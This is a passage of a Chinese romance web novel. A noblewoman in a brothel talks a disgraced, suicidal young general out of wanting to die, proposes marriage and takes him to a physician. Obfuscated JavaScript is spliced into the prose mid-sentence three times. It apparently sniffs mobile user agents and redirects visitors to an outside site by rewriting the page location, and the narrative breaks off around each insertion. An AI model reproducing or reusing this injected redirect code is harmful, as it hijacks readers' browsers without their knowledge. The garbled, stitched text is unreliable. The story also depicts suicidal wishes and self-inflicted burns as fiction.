沈盈息怎么想,怎么想也记不起来。 太过久远的记忆,好不容易从脑海里扣出一个模板,再经双唇说出口,简直尴尬到脸红。 不过尴尬归她一人尴尬。 效用还是有的。 上官慜之在最初的僵硬排斥后,很快于她怀中自如放松下来。 他慢慢垂头,清浅的呼吸贴近了少女耳后,带着几分湿濡。 许是泪意。 沈盈息不自在地缩了缩脖子,想到。 过不一会儿,没再感受到少年实打实的泪珠落下,沈盈息吐了口气。 她收回手撑住少年的肩膀:“不哭了吧,不哭了就起……” “为什么?”少年反手把她压进怀中,头颅紧紧挨着她的脖颈,他启唇道:“为什么只有哭,才能被抱?” 他挨得太近,沈盈息的颈动脉甚至能感受到上官慜之唇瓣的翕动。 一张一合,湿润冰凉而柔软的触感。 他真的是人吗? 哪有活人的唇如他一般冷的。 沈盈息双手被迫挤在少年胸前,她放也不是,收也不是,没心思认真回答他的问题。 “先放开我!” 上官慜之低声笑,笑粒一颗颗钻入耳中,让人耳朵生起酥酥麻意。 沈盈息欲躲,少年却再次用力扣住她的腰,近在耳侧的声音阴狠而动听:“方才你叫我从你这儿想点好处,我能不能就想,让你杀了我?” …… 这算是什么好处! 沈盈息骤然停下挣扎,她瞪大黑眸。 不是,他们凡人……都这么复杂吗? 刚才哭完,才有点人样,不到一会儿就又要生要死起来。 上官慜之这个疯子。 沈盈息气,启唇用力咬了口少年颈肉。 “嘶” 可紧接着她的后颈也传来一阵钝痛,上官慜之跟着咬了她! 如此方罢,他一定将她咬出了血! 果然,上官慜之的声音又冷了下去,他阴恻恻地低头,唇瓣紧贴着她伤处,吮吸一番,阴冷道:“你的血与我的,也无不同,倒都是难喝。” 沈盈息咬牙:“上官慜之,你真是贱,待你不好的你恨,待你好的你更恨是吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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声音果然是清晰了不少,少年字字缓慢,似乎很认真,但也许单纯是为了叫她听清问题:“你,沈姑娘,你、是、谁?” 沈盈息顿了顿,抬眼看向上官慜之。 她神情有一瞬的复杂。 他知道她是谁又能如何。 都是假身份。 不过她还是答到:“沈息,我叫,沈、息。” 她学他方才的问,字字清晰,像认真又像单纯为了让他听清。 听见她如此学他,上官慜之哑声笑起,笑得长颈扬起,下颚线利落又紧致。 沈盈息耐心等他笑完。 他终于平静,垂眸看她。 她陡然被他的眼神看得一愣。 很平静、很平静,平静到堪称温柔的眼神。 上官慜之望着少女,抬手轻轻抚过少女颈后。 他先抱歉地一笑:“真对不住,我伤了你。” 沈盈息未回应,他继而收回手,垂下眼睫。 “沈息,沈息?我不想猜你的目的,但你是个好姑娘,我还看得出来。” “所以,沈息姑娘,我能请您帮帮我,了结了我这个废人好吗?” “真是,拜托,辛苦你了。” 曾经的世子爷,在边疆叱咤疆场的少年将军。 上官慜之见过权势顶峰的波涛,也用指抚过大地荒漠的泥与沙。 他可以在波涛里死,可以在泥沙里死。 但他独不愿被人当做引波逐浪的弃子,被人当做脚下泥沙地活。 他是上官慜之。 不做敏心。 23. 第 23 章【8月31更】 第23章 沈盈息垂眸,望着地上安静微笑的昳丽少年。 她甚少这般直面他人的苦痛。 更何况还是一位年轻得过分的、日后会登临大道的同仁的。 对待上官慜之,她此时的心境有些复杂。 疑惑,漠然,想伸手拽一把,也想一走了之。 但最终,沈盈息只是站起来,居高临下地对少年道:“你宁愿死,也不想跟我离开吗?” 上官慜之弯起漂亮的眼睛,抬眼都懒得抬,“你宁愿离开,也不想杀死我吗?” “……你,蝼蚁尚贪生,只要活着,一切都还有希望不是吗?” 闻言,少年像听见了什么天大的笑话,吃吃笑了起来:“啊,希望,你若真以为如此,如何还反问我?大善人沈姑娘,你见我疯魔,不也厌得很,冷声斥过我滚开吗?” “所以,你究竟在矜持什么假好心?” 说罢,他好像寻着了人生至乐,不住地笑,不住地笑,笑得仰面捂脸,抬起的长颈绷紧,呈现着流畅而优美的线条。 沈盈息静静望着上官慜之,看他笑得颤抖,笑到浑身上下透出一股行将枯木的、接近决堤的灰败和衰艳。 如果不能理解他的痛苦,那么任他痛苦。 堵不住溃坝的水,只好任其畅流了。 少女眼神平和,显现出超然的耐心。 痛苦再痛苦,也有刹那缓解的时候。 沈盈息倒没浪费太多时间,她不到半刻钟就等到了上官慜之的“缓解”。 眼尾通红的少年侧过头,抬起湿濡的眼睫,看着平静的少女,轻声道:“这次倒很不错,没被我吓着。” 沈盈息垂睫,望向上官慜之看似也平静的视线:“上官慜之,我来不是为了被你圈套圈住的,如果是这样,我第一次见你就会如你的愿。” “那你来想干什么?”少年单臂撑地坐起来,手臂搭在屈起的膝盖上,散开的满头青丝如绸段般遮掩着他的半边脸颊。 沈盈息盯着他那小半张白腻的侧脸,“我最初就让你猜,这种事由我说出来,反而不真。” 过长的眼睫在深邃眼窝处投射着灰色的阴影,少年眨动眼睫,眼窝的阴影如水而动,“我没在京城见过你,听说你还与季谨那个贱人靠得很近,既不愿我遂愿,那么,你是季谨的走狗,我的仇家了?” 沈盈息摇头,“恰恰相反。” 上官慜之无声地笑了下,“那么,你是季谨的仇家了?” “与他有什么关系。” 少女俯身,柔软的半披乌发从肩头滑落,拂过少年面颊,带来丝丝痒意。 上官慜之蹙眉欲躲开她那头发丝,但还没来得及动作,沈盈息娇嫩的指腹已触上他脸颊,替他慢慢抚开碍眼的长发。 “恰恰相反,”她垂眼与他对视,少年眸光清浅,无刻意装出的疯癫,也无为达目的而自折尊严演出的泪光,一片精明和算计,糅合着世家子的计谋和花楼奴的心机。 “恰恰相反什么?”他勾唇,不动声色盯着她,唇边笑意嘲讽。 按在脸颊的手指忽而改按为拢,少女纤纤五指拢着少年清瘦俊秀的脸颊,在其白皙的皮肤上摩挲一会儿。 眼睫垂落,她望着他的唇半晌,少年神色不明地任她观察,眼中冷意愈甚,他伸手,要推开面前的少女。 不妨少女上身前倾,一阵清浅的香风就此靠近,同时拉到极致的感受,还有那片红润唇瓣如蜻蜓落花般擦过少年唇角时的柔软。 “……” 即便是心机深沉的上官慜之,察觉到唇边触感后,也不可置信了一瞬。 黑眸微睁的少年紧紧盯着已收回手的少女,红唇尚处于僵硬的讽笑状态,他愣怔了一息,反应过来便立即显出恼怒来。 “你敢轻贱我!?” 沈盈息无奈地叹了口气,她蹲下身,安静地看着少年开始怨毒的脸庞,“半年而已,当初在边疆威名赫赫的少将军,如何就变成这幅自轻自贱的样了?” 上官慜之听到那声少将军,简直比听到沈盈息唤他上官慜之时还怔忪。 他倏然抬眸,眼瞳神经质地微缩:“你是谁,我没见过你,你是谁?” “将军当然没见过我,我也没见过将军。” “那你……”上官慜之眼瞳有瞬间的涣散,他想起漫天的黄沙,黄沙里如血珠般点在天边的红日。 太遥远了,太遥远。 “你想问,我为什么认识你?”沈盈息伸手,为上官慜之整理了下散开的衣襟,她只瞧了一眼他散开衣襟下的青紫,便又若无其事地收回视线。 “我当然认识,这正与我寻你的目的重合。” 上官慜之抿唇,他的唇是向来冰凉的,但不知是不是被少女那一吻导致的,他竟觉得唇上有余温。 少年狠狠咬了咬下唇,似乎想靠疼痛逼散那点暖意,他狠厉道,“什么目的?” “与慜之成亲。” …… …… 上官慜之觉着他铁定是被这翠玉楼关得真疯魔了。 少年漆黑的眼瞳霎时间掠起惊涛万丈,但很快又被戾气和怒意给覆盖,可怨怒之后,眼瞳脆弱地颤了下。 他僵木地转向身旁的少女,她鲜活绮丽,说话时也声声入耳,应是活人,还是亡灵,亦或是他疯魔里的幻像? 将视线从沈盈息身上拔开,上官慜之空漠的眼神落向屋内,从桌到椅,从地面到窗棂,一毫一厘,一寸一尺,他缓慢地看着,眼睛黑得不见底,像一双真正的死人的眼。 常人见到他现在的模样,定然要被吓得脊背发寒,白毛汗会像急行军的蚂蚁一样爬遍全身。 沈盈息却只是看着,看了会儿,才理解出上官慜之怪异举措背后的真意。 他是在确认? 他已经陷入了真假不分的境况里,再这样下去,真是离真痴狂不远了。 “上官慜之?上官将军?” “慜之?” 喊是没有用处的,沈盈息毫不犹豫地一巴掌甩上少年脸颊,清脆利落的巴掌声,声落人醒。 上官慜之缓缓抬手,抚了抚发热的面颊,一双黑眸从桌椅等死物移到少女活艳艳的面容上,“打得开心吗?” 沈盈息讶然了瞬,她是不是还没打醒他。 “不开心?”不过上官慜之似乎也不期待她的回答,她一旦露出有拒却的苗头,即便只是一点讶然,他了然点了点头,“不开心,是因为见到如今的我,很失望罢?” 沈盈息默然,摇了摇头。 见她否认,少年竟露出个令人瞠目的成熟的微笑,他道:“其实不必哄我,我除了生死看不透,其他都还看得清。” “所以,为什么亲我?” 上官慜之修长的食指点了点唇角,“你对我的亲近像是孩子偷学大人的,并无感情,为什么还能说出要和我成亲的谎话?” 从上官慜之此刻有条不紊的问答里,沈盈息似乎能看见他曾经在沙场上征战杀敌的画面。 他有理智,也有脑子,甚而多智近妖。 沈盈息目移了一瞬。 她不由想到上官慜之修的合欢道,此道又称多情道,道下修士个个熟稔风月,晓通情爱。 上官慜之虽未正式入道,却已有分辨真情假意的敏锐了。 他是分得清。 沈盈息却分不清,她和上官慜之寥寥几面,他却对她露出如此变化多端的性子。 喜怒难辨,善恶难辨,他是真痴还是假狂,他是真脆弱还是假阴狠? 太令人眼花缭乱了。 上官慜之就像是给自己花了无数张皮的画皮妖,一会儿用这张仇人的面对她,一会儿用那张少年的面对她,又邪恶又稚雅,又可怖又可怜。 可兜兜转转,他演得再真假难辨,画皮终归是没骨的死相,支撑他用这死相游荡的,是他求死意志支撑起的骨架。 这骨架如此坚硬,从开始贯穿到现在。 沈盈息捧起少年面庞,定定地看了他半晌,上官慜之回之以看可疑者该有的目光。 “……唔。” 少女便迎着这冰冷的可疑者目光俯下脸庞,温软红唇欺压上少年秾艳薄唇,上官慜之似乎想推开他,但伸出的手被沈盈息见缝插针地牵住,他僵了下,不再激烈反抗。 他不反抗,但立刻反向侵略回去。 他们的吻似乎只是形式上的唇瓣相贴,实质上却是一场战役,他避她追,她收他攻。 彼此间毫不退让,死活都要在咫尺中博个输赢。 气氛愈来愈焦灼,却并非暧昧的登顶,而是欺骗者与亡命徒间博弈的升级。 渐渐地,血腥味从唇畔间弥散开来,而这点血腥气只是引起了更深更狂乱的争夺。 手掌交握,十指交缠,接触的皮肤很快被对方握成湿红一片,少年间的意气与斗争一齐在昏暗的室内迸发。 这时没人再论生死,没人想真假,他们只想让对方认输,让对方输到跪在自己脚下坦诚其所有的筹码。 “咚咚——” 日光涣散,门口陡然炸起敲门声。 开战时的号角无声安静,收兵的鸣鼓却响得震天。 老鸨站在门外敲完门,讨好的笑声追着敲门声钻进屋内:“贵人,奴来给您添热茶。” 时间到了。 “啪”地一声,少年少女卸下所有力气,喘着气互看了一眼,发现彼此眼尾都红得可怜,眼睫一齐湿漉漉的,唇瓣更是又红又肿。 零星的血珠残忍又暧昧地缀在厚润的唇瓣上,欲缀不落,摇摇晃晃如刚学攀爬的幼兽,人人都想上前扶一把,抱一下。 “呵,呵呵哈哈哈哈……” 上官慜之忽而大笑,他笑了半晌,忽而欺过上身,伸手捏住少女下颚,启唇用力地舔下少女唇瓣上的血珠。 沈盈息只感觉像有一只凶残的野兽舔了自己一口,猝不及防,正要反击时,那兽又迅疾地退回了领地。 “……” “贵人?贵人?”老鸨再次敲了下门,这次的敲门声明显小了许多,透露着敲门人的翼翼小心。 老鸨定然听见了少年的笑声,想起少年平日里凶恶的模样,老鸨瞬时间惊悚非常,生怕里面人出了什么事。 沈盈息不耐地道:“滚开!” 老鸨准备第三次敲门的动作忽地被截停,她讪笑着回应:“欸,欸,贵人这是要留夜?” 沈盈息更为厌烦:“滚!!” 老鸨畏缩地收回手,终于是乖乖地遁走了。 室内再次归剩下两个少年人。 上官慜之眸色深深,视线从少女的唇移到她的眼睛,双臂往后撑着地面,他歪头笑望着她:“再来一次?” 沈盈息翻了个白眼,“你也滚。” 上官慜之舒服地躺回地面,他枕着自己的手臂,望着屋顶房梁,静了下来。 不一会儿,一阵窸窣声传来,少女的体温和她的衫裙落至身侧,她也枕臂望着房梁。 如此寂静了片刻,少女的声音如春风拂入耳:“上官慜之,别想死了,好不好?” 上官慜之没有立即回答,他缓缓眨眼,依旧望着了无趣味的梁木,顿了半晌,才张启薄唇:“不想死,想什么?” 闻言,少女立即活跃起来,她撑臂趴过来,眼睛很亮,口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388261|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吻很欣喜:“想花想草,想流水和远山,想想街上新出的新奇玩意儿,想淮香楼的新菜品啊……凡间这么大,有好多可想,缘何想不开去死呢?” 上官慜之哦了声,他伸出手指,拨弄着少女垂到眼前的长发,“凡间?好怪的词,这么说你还不是凡人了。” 沈盈息啧了声,从少年手中拽出头发,而后用发尾狠狠甩了下他的脸。 上官慜之侧开脸,很及时地躲开少女的泄愤行为。 她一击不中,颇为不高兴地转过身去了。 余光瞥见沈盈息颇为幼稚的行为,上官慜之的唇角便不由泛起笑弧,他平躺回去,和少女肩挨着肩,脸上的笑意扩大了些许。 平和的室内响起少年含笑的嗓音:“多谢仙子赐教。” “上官慜之!” 沈盈息唰地转过来,她直起上身,伸手用力地把并肩的少年攘开,“不许再笑!” 上官慜之却忍不住了,他手背搭在眼前,任沈盈息又推又打,哧哧地低声笑起来。 沈盈息打闹一番,望着上官慜之笑时分外少年气的年轻面庞,心中一动,像是看见了一朵正盛开的花。 真是漂亮。 其实这世间漂亮之物极多,沈盈息修道时甚少关注他们,倒是死后她才发现这世界的瑰丽奇胜,很值得探索与珍护的。 此时所遇的上官慜之正似那万千美丽之物之一。 他便不是任务对象,沈盈息偶遇到他,闲情雅致之下也会救护一二。 “别笑了,”少女轻轻地推了推少年,动作不一般的温柔细致。 上官慜之笑容一滞,他将手背摁在眼前,不去看沈盈息的脸。 但他不看,沈盈息却强硬地掰开他的手,然后紧盯着他黑沉的双眸,忽地在他陡然间寂静如渊的眼神下顿了顿。 上官慜之漠然地收回眼神,她迟疑了,她不还是怕他。 还以为有什么不一样…… 额间轻柔的抚动忽然戳破了少年的漠然,沈盈息指腹柔软,轻轻拂开了上官慜之额前的乱发。 没了遮掩视线的障碍,沈盈息再次看向上官慜之的双眸,视线温和:“上官慜之,别想死了,与我成亲罢,你无物可思,我便可教你。先从想我开始学,很简单,不是吗?” 上官慜之望着少女。 沈盈息对着他的目光,鼓励地笑道:“对,就是这样,看我,记住我的样子,现在看我很容易想起我。日后我不在身边,你记着我,就可以继续想我了。” 上官慜之无趣地撇开眼。 记着她模样有何难的,莫说日后,就是再过了百年,他也能把她样子拓下来。 他是求死,但却不因无知而死。 大可不必像待愚蠢的孩童一样待他。 再说成亲,她有十五了吗? 他一家死光了,她难道没有爹娘吗? 成亲前要先向女方家里人提亲的,她怎么这个也不知道。 提亲的话……要备些什么? “上官慜之?” “……干什么?”少年嗓音恹恹。 沈盈息抿唇,“你不喜欢我?” 为何他都不应她的求亲。 “……”上官慜之咬了咬牙,扭过脸,不说话。 见状,沈盈息露出失望神色,她坐起身,看了看扭脸沉默的少年,跟着默然地起身。 “……你去哪?” 眼见少女身影欺近门口,上官慜之抓紧衣袖,撑起头好似平静地缓声问道。 沈盈息头也不回,手指抚上门框,“我先走了,下次见面,希望你还好好活着。” 说罢,纤细的手指当真要将门页打开了一条缝,木门吱呀声悠长响起。 那拖拉又绵长的门声,如同一根没有丝毫韧性却断不开的细声,啪地一声绷紧了上官慜之的心腔。 他被这牵扯感引得坐起了身子,红唇张启又闭起,但在少女愈拉愈开的房门中,终于顺着那根绳子的牵引出声:“别。” 出声的那时才发觉嗓子有些干涸生涩了,上官慜之喉结微动,“别走。” 沈盈息扶着门框,低眉:“太累了,不玩了,下次再见。” 少女一只脚已踏出门框,上官慜之的呼吸声随少女的脚步被踩断了一拍,他几近同时道:“你现在走我现在就去死!” 事实上,他根本不可能自杀成功。 翠玉楼奉着圣令,将他看得极其严密。 这招太恶心。 恶心得上官慜之瞬时间生起强烈的自厌感,望着少女的双眸浓稠又阴暗,但转瞬间又恢复了一腔清明。 “算了,你要走就……” “上官慜之!”少女怒气冲冲地折回身,一巴掌把少年另一边脸颊也打红了,她抓着他的肩膀,用力晃了晃,怒骂:“你要是敢死,我就追到地府去再打你十巴掌!” 上官慜之的眼眸瞬时间浮起愕然,他望向少女惊怒的脸庞,“我死,你……地府?” 沈盈息谋虑始终,对上官慜之求死之志的坚定有所见证。 他一直想死,因家族覆灭又因傲骨受辱,他是顶骄傲的人,单口头上劝说定然不见效,不若给他重塑傲骨,免过靠死志撑着苟活。 他不能死。 所以沈盈息决定爱他。 浓烈的爱意到了极致,可以消解欲望,包括对死亡的渴望,不是吗? 沈盈息想,这就跟修炼一样,修为到了极致,就可以瓦解一切威胁。 她向来是修炼的天才。 上官慜之抚上她的脸颊,视线怔惘又阴沉:“别死了,别想死,你自己说的,无物可思,可……思我。” 24. 第 24 章【9月1更】 第24章 她会后悔的。 上官慜之仰脸,紧盯着少女骄傲至天真的娇美脸庞。 “你一定会后悔。” 沈盈息不屑地哼了声,“那你等着好了。” 说罢,她转过身。 上官慜之并未出声阻拦,等了片刻,果然见少女没等到他的挽留又回了头,有些不忿地看他,“你再没什么要和我说的?” 少年表情阴冷,他仿佛恢复了拒人千里之外的冷漠:“我说,我不信你,我还要说,你一定会后悔。” “你!” 沈盈息气结,她扭过头深深地吸了几口气,而后掉过头,瞪了眼上官慜之:“你凭什么这么说?” “呵,”上官慜之阴阴一笑,白腻的皮肤在暗影里近乎发着青,红唇失了活色,近乎猩红,他唇瓣翕动着说话,像艳鬼在做择人而噬的准备,“你在我身上花了这么多钱,难道不知道买回去的是一个废人吗?” 沈盈息犹疑了刹那,脸上的怒气霎时间如潮褪去。 她看向少年,小心地试探,像是照顾他某方面的自尊心:“你……不举?” “……” 上官慜之阴冷的脸色有瞬间的扭曲,他咬牙笑了:“沈姑娘,你不知道武者被废内力后都短命吗,我重疾缠身,不仅短命,还是个彻底的拖累,沈、姑、娘。” “哦,”沈盈息露出一副‘原来只是这样’的轻松神情,她摆了摆手,口吻漫然:“有病就治,你活不过别人,活不过我吗?” 她这一副不以为意的模样彻底堵住了少年的嘴,他紧紧抿住了红唇,闭眼侧过了脸。 沈盈息右手托着左臂,手指轻点脸颊,望着不愿意和她说话的上官慜之,若有所思。 “你在想什么?”她很好奇。 少年闭起的眼睫微动,而后缓缓睁开,望着少女好奇的脸庞,眼眸深冷,“为什么要挑我,与我绑在一起,可不是个好选择。” 她知道靠近他会惹上多少麻烦吗? 世人对他的鄙薄仇恨,将如法炮制地扔一份给她。 她更会因为他的身份,被贵族责难,百姓唾骂,甚而给她和她的至亲带来杀身之祸。 她这样年轻的姑娘,能承担得起这样的后果吗? 一点倾慕,一点期待,值几个钱。 上官慜之紧盯着沈盈息的脸,他知道自己现在的表情,肯定是又刻薄又骄横,是人见人厌的表情。 “你太蠢了,沈息,你什么都不懂,你真蠢。” 如愿以偿地,少女因为他刻薄冰冷的言辞而十分生气。 柳眉倒竖,手指微颤,气急了的表现。 上官慜之转过脸,对她的愤怒视而不见。 他愈发冷漠,便愈发显得讨人厌。 上官慜之清楚,此时的他没有权势金钱做补,没人再愿意捧着他的臭脸。 他们只会前仇旧恨一齐报复,辱骂他,殴打他,让他的血弥补他们从他那儿领回去的冷脸和恶言。 欺辱完毕,大抵便是往他身上吐一口口水,而后潇洒离去。 他等着沈盈息的唾骂和离开。 比起她说那些令人恐惧逃避的诺言与喜欢,上官慜之宁愿她和别人一样。 “好罢。” 沈盈息的声音远远地传来。 上官慜之的眼睫不可避免地为之一颤,他及时止住,将脸低得更深。 门开的声音再次响起,她没有来打他,当然也没有往他身上唾口水。 沈盈息扶着打开的门框,顿了顿,而后看着在阴影里坐着的少年,下定了决心,立马扬头,用就是隔壁房间都听得见的声音,道:“你无论如何推阻,我今儿是喜欢定你了,你必是我的人!” “老鸨!”少女高喝一声,而后便见隔壁屋门扉推动,老鸨期期艾艾地出现。 沈盈息对她偷听一事不作研究,她向其招了招手。 老鸨欸欸地跑了过来,跑到沈盈息面前,低头哈腰:“贵人,贵人什么吩咐?” “你可认得我的身份?” 老鸨陡然一惊,不知沈盈息这是何意,脸上闪过万般思量,而后小心答道:“您……您是沈家主,奴晓得。” 沈盈息不冷不淡地哼了声,“知道就好。我今天要带敏心走,我能也不能?” “这……”老鸨当场冷汗就滑下来了,她绞着手中的帕子,又是恨眼觑屋内,恨贱蹄子会勾引人,又偷眼瞧沈盈息,怕她的降罪。 但沈盈息早不耐烦了,“能也不能!” 少女久居高位,厉声一出,当即把老鸨吓得抖若筛糠。 “能,能!”她只好急声答道,但很快又怕起来,“可敏心是官奴,贵人,您若只玩一段时间也罢,但若要赎身,卖身契不、不在奴这儿啊。” 沈盈息掉身关门,声音从门口传来:“我自有考量。” 走进室内,发现上官慜之一脸怔惘,沈盈息哼笑,满目傲慢:“我想做的事,没有做不到的。” 少女眉梢张扬,宛若肆意生长的红花。 她说完,便大步跨过来,一把拉起上官慜之,脸色瞬变,喜滋滋地对他说道:“行了,我们这就可以走了。” 上官慜之垂目望着勾住袖口的葱尖,在她强硬拽着往前进的时候,忽而伸手按住少女手。 沈盈息停下脚步,用眼神表露她的疑惑。 上官慜之直直看着她的眼睛,抿唇道:“沈息,我是犯了反叛罪的罪臣贼子,罪无可恕,你可知上官家三十二口尽受凌迟而死,独我一人苟活,我背后跟着这三十二条鬼魂,还有整个天下的辱骂,你不怕?别为我这种人犯蠢。” 沈盈息望了望上官慜之的背后,又收回视线,看向他:“你背后根本没有鬼魂,不要诓我。” 上官慜之切齿:“不要装糊涂,沈息,你现在知道了,和我在一起没有好下场的。赶快走,我也不要你杀我了,从我身边滚。” 沈盈息哈了声,她一把扯住人,“你已经开始喜欢我了,对吧?” “什么?”上官慜之眼前一阵发黑,他猛地甩了甩头,“沈息!你简直……” “我简直怎么样,你以后会更清楚的。”少女言笑晏晏,拖过少年的手臂抱在怀中,“但是现在,你必须承认你开始喜欢我了,不然你这种恶毒的人,怎么会好心提醒我?” “哈、”这回轮到上官慜之发出一声气叹,他拧眉,面沉如水,“就当如此好了,我上官慜之再恶毒,也不干欠人的,你休想因我而死,也休想让我为你愧疚。” 沈盈息点点头,“知道了。” 她语气轻松地回道,“说完了没,说完了就想想有没有什么要带走的,欸算了,这地方东西脏得很,别要了,我们出去购置些新的,啊,对了,今晚有夜市,我们去玩吧,不过先去和致那儿治伤,然后再去玩……” 少女完全枉顾了少年冷沉的面容,拖着他往前走,一壁走一壁布置他们的行程,不给人任何一点反驳的余地。 出了房门,老鸨还候着,她苦笑地望着沈盈息,做垂死挣扎:“贵人,您干什么要自迎脏水呢?敏心这种获罪来此的刁奴,沾了手可就再难脱手了,您三思啊。” 沈盈息看着老鸨苦哈哈的神情,头一次对这谄媚的老奴展颜笑道:“你们愈这样说,我愈喜欢他。” 老鸨一哽,她望了眼沈盈息身旁的少年,清楚看见他眼神的震动,瞬时间露出嫌恶至极的表情。 这贱蹄子走了狗屎运,能勾引这样的贵人喜欢他。 但贱人就是贱人,就是出了花楼,身上的贱印也会跟随他一辈子。 他迟早被抛弃。 思及敏心平日里怨毒又阴湿的表情,老鸨心里发憷的同时,也不由得轻蔑地想到,不出三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但少女很快转过脸,一脸凶狠:“我现在就去毒哑了你。” 说罢,她用力拽住他的手腕,掉过头就径直往前走。 上官慜之望着她圆滚滚的后脑,望着少女发髻里蝴蝶簪子随她快步行走间,不住地敛翼闪翅,微微金光从乌发里闪烁出来,映入他漆黑的眼底。 戴这样漂亮簪子的姑娘,不解闲愁浪恨、天真无邪,却又自带一股执拗,比朝堂上恪守老祖宗规法的老臣还固执。 他若是能在获罪之前遇见她…… 所以,她喜欢的是上官慜之吗? 她喜欢的,是那万人之上的外姓王世子,是那鲜衣怒马纵横沙场的慜将军。 天之骄子零落成泥,什么都不剩了,怎么可能还值得人喜欢。 “你会后悔的。” 上官慜之在少女疾走间,轻声重复。 沈盈息没回答。 …… 到了纪得药铺,沈盈息本以为会见到人满如沸的场景,谁知药铺早下了钥,一片寂静。 天色还没黑透呢。 沈盈息有些纳闷,她松开扣在上官慜之腕上的手,转而紧紧握住他的手,空出的另一只手就啪啪敲响了药铺的门:“和致,开门!阿仓,开门!” 一阵沉稳的脚步声从门口传来,不一会儿,门扉洞开,高大的白衣青年双手还保持着拉开木门的动作,洁净的衣裳上透着些微的水汽。 “咦,这样早就休息了?”沈盈息看出纪和致刚洗漱完毕,不过寥寥关心了一句,也并不期待着他的回答。 她转而一脸欣喜,拽过身后少年,对自己的好友介绍:“这是上官慜之,和致,你见过的。” 25. 第 25 章【9月2更】 第25章 纪和致瞥了眼沈盈息紧紧牵着少年的手,而后又不动声色地移开了视线。 “这么晚有什么事吗?”他淡声道。 沈盈息见他还站在门口,一点没有让出门的动作,不虞:“和致,有什么事也得进去再说,你先让开。” 白衣青年黑眸微移,看了眼沈盈息,而后侧过身,目光半垂,“失礼了,请进。” “我们先进屋。”沈盈息扭头,视线完全地倾注于身侧的少年身上,旁的外物在她眼里似乎都成了虚设。 上官慜之被带入屋内,两个年级相仿、容色不相上下的漂亮少年如此牵着手,旁若无人地进入了屋内。 药铺外日光渐落,夜色逐渐趋近,白衣青年侧身站在门口,往门外看去。 街道清寂,天光昏昏沉沉,东歪西倒地照着他半边身子,凉意顺着暗下的天色扑进屋内。 绞得半干的长发松松散散地披在肩后,氤氲的湿气逐渐浸透了颈后的衣衫,脊背上也慢慢流下了一片凉意。 纪和致敛下黑睫,白玉似的面庞蒙了会儿弥合愈暗的天光,面上温和的情绪渐渐跟着天光消散似地,不冷不淡起来。 屋内烛光倒很明亮,光暖之中,少女清润的嗓音如玉珠似地跳跃着:“慜之,那是纪大夫,是我的朋友,当然也是你的了。我带你来他这儿治伤,欸,别说不治的话,算了,你就先别说话,免得惹我生气。” 纪和致侧耳微动,没听见那少年的回答。 沈盈息竟很高兴似地,用爱怜十足的口吻对那寡言少年道:“真乖,我们治完伤就走,我带你去玩,好不好?” 那少年不知是答应了还是没答应,纪和致抿唇,回身关实了门,将外面暗下的天和凉意都一齐驱出了屋内。 青年长腿跨开,三步两步地走到屋中,屋子正中央的桌子上比别处多燃着两只蜡烛,是以光比别处更亮些。 纪和致一至,一阵冷风随着身形涌过去。 那烛焰被他身上带起的风给扑得摇晃不住,光影霎时间跃动起来,三个人的影子投射在墙上,跟着烛火摇曳。 沈盈息被晃动的影子给攥取了注意力,她这时方发觉这儿多了个人,抬头看着站着的纪和致,愣了下,说:“咦,和致你怎么才过来?” 纪和致瞥了她一眼,没说什么,从宽袖里伸出一只宽大的手掌,挡在还摇曳的烛火旁,垂眸望着那火光的逐渐□□。 三人投射在墙上的影子也跟着静了下来。 纪和致因还站着,他的影子比两个少年高大不少,几乎要延上屋梁去,延展过了头,简直像一只鬼魅趴在墙梁上,窥视着少年们一般。 沈盈息正巧坐在那一墙影前,她看不见背后的怪异,仍旧牵着上官慜之的手,要与他说话。 但上官慜之坐在她身侧,余光一扫,便瞧见了墙上化了鬼怪似的影子,阴冷的黑眸眯起,少年蹙起眉,心底生出一丝怪异。 他看了眼弯眸天真的少女,阴沉的目光在她脸上顿了下,又转移开,往身侧站着的高大医师看去。 却发现医师的目光也盯着少女的笑颜。 很深沉专注的模样。 上官慜之眉心蹙得更紧,他敛下黑睫,盯着漫泄一桌的烛火,忽而厌烦地啧了一声。 沈盈息疑惑地停下看他。 上官慜之抬起眼,伸出长臂,纤白手腕从大袖里探出,在谁都没料到的情况下,他将手用力摁上了烛芯。 “嗞”的一声,桌中燃得最旺的一根烛火熄灭,其余蜡烛在少年手风的带动下,再次摇晃起来。 墙上的影子跟着不安起来,但最鬼长的那道影子已消失。 “你、”沈盈息怔了怔,反应过来后一把将少年按在烛上的手扯了下来。 上官慜之的拇指和食指已被烛火灼起了一片通红,融化的蜡泪在那片红皮肤上凝固,很快由透明变得浑浊,将少年的伤痕深深掩住。 沈盈息咬牙,娇嫩的指腹猛地锉过少年指腹,暴力将那曾浑浊凝蜡弄了下去。 上官慜之任她又搓又捏,百无聊赖地垂着眼,盯着她的细白的手指翻来覆去像穿绳一样,在他手间穿梭,反复检查他的手。 似乎只被灼伤了两根手指,而且伤情不重,少年一点疼都没喊,甚而觉得指腹上痒生生的。 “上官慜之!”终于检查完毕的沈盈息发现灼伤不重,立马摔开上官慜之的手,而后一只手像白燕一样冲过来,拧住少年衣襟,咬牙切齿地对他说道:“你的命现在是我的,你再敢这样不爱惜,我就不要你了!” 